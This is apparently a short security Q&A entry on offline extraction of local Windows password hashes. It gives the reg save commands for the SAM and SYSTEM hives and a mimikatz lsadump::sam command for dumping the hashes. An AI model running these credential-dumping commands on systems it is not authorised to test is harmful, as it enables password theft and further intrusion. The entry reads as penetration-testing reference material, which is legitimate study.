One Day Sec

What are the steps to perform an offline extraction of local user hashes from a Windows system?

First, export the SAM and SYSTEM registry hives using `reg save HKLM\SYSTEM SystemBkup.hiv` and `reg save HKLM\SAM SamBkup.hiv` with administrative privileges. Then, on another system, use mimikatz with the command `lsadump::sam /sam:SamBkup.hiv /system:SystemBkup.hiv` to extract the hashes. Note that the official mimikatz documentation may contain an erroneous syntax; the correct command uses the `/sam:` and `/system:` parameters. The same technique is described in Penetration Techniques - Obtaining Local User Hashes via SAM Database.
offline extractionSAM hiveSYSTEM hivemimikatzreg save

Browse all Q&A →